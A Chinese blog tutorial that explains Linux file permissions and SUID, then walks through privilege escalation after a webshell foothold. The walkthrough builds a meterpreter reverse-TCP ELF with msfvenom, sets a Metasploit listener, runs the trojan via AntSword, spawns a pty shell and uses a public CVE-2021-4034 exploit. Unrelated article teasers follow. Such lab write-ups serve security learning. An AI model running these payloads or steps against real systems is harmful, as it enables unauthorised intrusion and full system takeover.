从web漏洞到linux权限提升

news/2025/3/12 12:24:09/

从web漏洞到linux权限提升

  • 一、Linux系统介绍与使用
  • 二、Linux权限说明
    • 2.1、文件权限
    • 2.2、linux文件、目录权限说明
  • 三、权限提升

一、Linux系统介绍与使用

  • linux-全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,是基于POSIXI的多用户、多任务、支持多线程和多CPU的操作系统。能运行主要的Unix工具软件、应用程序和网络协议。支持32位和64位硬件。
  • Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Lniux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。

二、Linux权限说明

  • 当我们使用kali用户登录系统后可以发现我们无法进入一些目录和查看一些文件,会提醒我们权限不够,那我们就只能切换为root用户才能进行访问。
  • 可见在Linux系统中的用户权限时非常重要的,在inux中存在多个用户,多种用户他们互相工作时是不会相互造成影响的。

在这里插入图片描述

2.1、文件权限

文件的权限针对三类对象进行定义:

  • owner 属主,缩写u – 创建这个文件的用户,所有人
  • group 属组,缩写g – 创建这个文件的所属用户存在的组(默认创建一个用户会生成一个组,以用户的名字去进行命名)
  • other 其他,缩写o – 其他的用户所有人
  • 每个文件针对每类访问者定义了三种主要权限:
    • rRead 读
    • wWrite 写
    • x:eXecute 执行

X:针对目录加执行权限,文件不加执行权限(因文件具备执行权限有安全隐患)
注意:root账户不受文件权限的读写限制,执行权限受限制

2.2、linux文件、目录权限说明

  • 文件权限

    • r 读取文件内容
    • w 修改文件内容
    • x 执行权限 //对除二进制以外的文件没有什么意义
  • 目录权限

    • r 查看目录下的文件列表
    • w 删除和创建目录下的文件
    • x 可以cd进入目录,能查看目录中的详细属性,能访问目录中的文件内容(基础权限)
  • 权限对应数字及读取规则

    • r 读 数字表示形式为4
    • w 写 数字表示形式为2
    • x 执行 数字表示形式为1
    • chmod
  • 可组合利用,则给予读写权限表示为6,读写执行权限为7以此类推可相加使用。

  • 用户获取文件权限的顺序:先看是否为所有者,如果是,则后面权限不看;再看是否为所属组,如果是,则后面权限不看。

chomd o+w 1.txt  #other,其他人对文件1.txt多了写的权限
  • 特殊权限suid权限

    • 作用:给一个用户继承二进制程序所有者拥有的权限(可以暂时借用root权限)
    • suid权限位位于所有者的执行权限位上,如果一个文件具有suid权限,则所有者执行位为s,文件表现为红色背景
    • 实例如下:
      在这里插入图片描述
    • suid 只适合作用在二进制程序上。
  • chmod命令修改权限

    • 权限管理命令:chmod
    • 命令名称:chmod
    • 命令英文原意:change the permissions mode of a file
    • 命令所在路径:/bin/chmod
    • 执行权限:chmod【{ugoa}{+-=}【文件或目录】
      • 【mode=421】【文件或目录】 -R 递归修改
    • 功能描述:改变文件或目录权限
    • 范例:
      • $chmod g+w testfile 赋予文件testfile所属组写权限
      • $chmod -R 777 testdir 修改目录testfile及目录下文件为所有用户具有全部权限
    • 赋予特殊权限suid chmod u+s file 数字表示:chmod 4755 file
  • chown命令修改所有者权限

    • 权限管理命令:chown
    • 命令名称:chown
    • 命令英文原意:change file ownership
    • 命名所在路径:/bin/chown
    • 执行权限:所有用户
    • 语法:chown 【用户】【文件或目录】
    • 功能描述:改变文件或目录的所有者
    • 范例:$chown yiye fengjie 改变文件fengjie的所有者为yiye

三、权限提升

假设已经上传shell.php的一句话木马文件到目标主机的网站根目录,并且使用蚁剑成功连接。

在这里插入图片描述
在这里插入图片描述

1、生成Linux的后门木马文件。

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.9.148 lport=10010 -f elf -o yiye.elf

在这里插入图片描述

2、通过蚁剑上传木马文件到目标主机。

在这里插入图片描述

3、通过蚁剑赋予木马文件执行权限。

在这里插入图片描述

4、通过msf控制台配置监听器。

┌──(root㉿kali)-[~/Desktop]
└─# msfconsole                                                                                      
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options msf6 exploit(multi/handler) > set lhost 192.168.9.148
lhost => 192.168.9.148
msf6 exploit(multi/handler) > set lport 10010

在这里插入图片描述
在这里插入图片描述

5、开启监听。

在这里插入图片描述

6、通过蚁剑运行木马程序。

在这里插入图片描述

7、获得会话,权限不够需要提升。

在这里插入图片描述
8、通过漏洞cve20210-4034进行提权。

  • 漏洞exp地址 https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip

9、将文件上传。

在这里插入图片描述

10、通过kali输入shell进入目标交互系统。

在这里插入图片描述

11、使用python语句 python3 -c 'import pty;pty.spawn("/bin/bash")' 获取交互shell。

在这里插入图片描述

12、使用python执行提权脚本。

python3 cve2021-4034.py

在这里插入图片描述


http://www.ppmy.cn/news/1005316.html

相关文章

C++设计模式行为型之观察者模式

一、概述 观察者模式定义对象间的一种一对多的依赖关系&#xff0c;当一个对象的状态发生改变时&#xff0c;所有依赖于它的对象都得到通知并被自动更新。 二、示例代码 #include <list> class Subject; class Observer { public: virtual ~Observer(); virt…

学了一个礼拜 JavaScript 为什么还是学不会?

前言 首先从你的描述里面我先以我的主观臆断来猜测一下你是没有任何编程的基础的&#xff0c;Js按理来说在各语言中并不是非常难学&#xff0c;当然如果你是纯新手入门&#xff0c;那么确实前期需要时间来沉淀一下语法&#xff0c;一个礼拜的话&#xff0c;按理来说应该是在沉…

新手Vite打包工具的使用并解决yarn create vite报错

一、手动创建 1.创建vite-Demo文件夹 2.初始化 yarn init -y 3.安装vite yarn add -D vite 4.打包准备 说明&#xff1a;不需要在src下面创建&#xff0c;在vite-Demo文件夹创建 4.1index.js文件 document.body.insertAdjacentHTML("beforeend","<h1>…

2500、删除每行中最大值在IDEA中调试Java

leetcode:2500、删除每行中最大值在IDEA中调试&#xff0c;使用Java实现 题目描述&#xff1a; 给你一个 m x n 大小的矩阵 grid &#xff0c;由若干正整数组成。 执行下述操作&#xff0c;直到 grid 变为空矩阵&#xff1a; 从每一行删除值最大的元素。如果存在多个这样的…

七、Spring 面向切面编程(AOP)学习总结

文章目录 一、初识面向切面编程&#xff08;AOP&#xff09;1.1 什么是 AOP1.2 AOP的应用场景1.3 Aop 在 Spring 中的作用1.3.1 Aop 的核心概念 1.4 使用 Spring 实现 AOP1.4.1 方式一&#xff1a;使用 Spring API 接口实现 AOP 【主要是SpringAPI接口实现】1.4.2 方式二&#…

Vue3文本省略(Ellipsis)

APIs 参数说明类型默认值必传maxWidth文本最大宽度number | string‘100%’falseline最大行数numberundefinedfalseexpand是否启用点击文本展开全部booleanfalsefalsetooltip是否启用文本提示框booleantruefalsetooltipMaxWidth提示框内容最大宽度&#xff0c;单位px&#xff…

新手指南:流程图中各种图形的含义及用法解析

我们经常在技术设计、沟通、业务演示等一些领域看到流程图&#xff0c;它也可以称为输入输出图。顾名思义&#xff0c;它是指一种简单的工作流程的具体步骤&#xff0c;比如包括一次会议的流程&#xff0c;以及一次生产制造的顺序和过程等。本文将为大家介绍流程图的含义和具体…

用Rust实现23种设计模式之单例

话不多说&#xff0c;上代码&#xff01; 1. 使用Arc Mutex 在这个例子中&#xff0c;我们使用了 Arc &#xff08;原子引用计数&#xff09;和 Mutex &#xff08;互斥锁&#xff09;来实现线程安全的单例。通过 get_instance 方法&#xff0c;我们可以获取到单例实例&…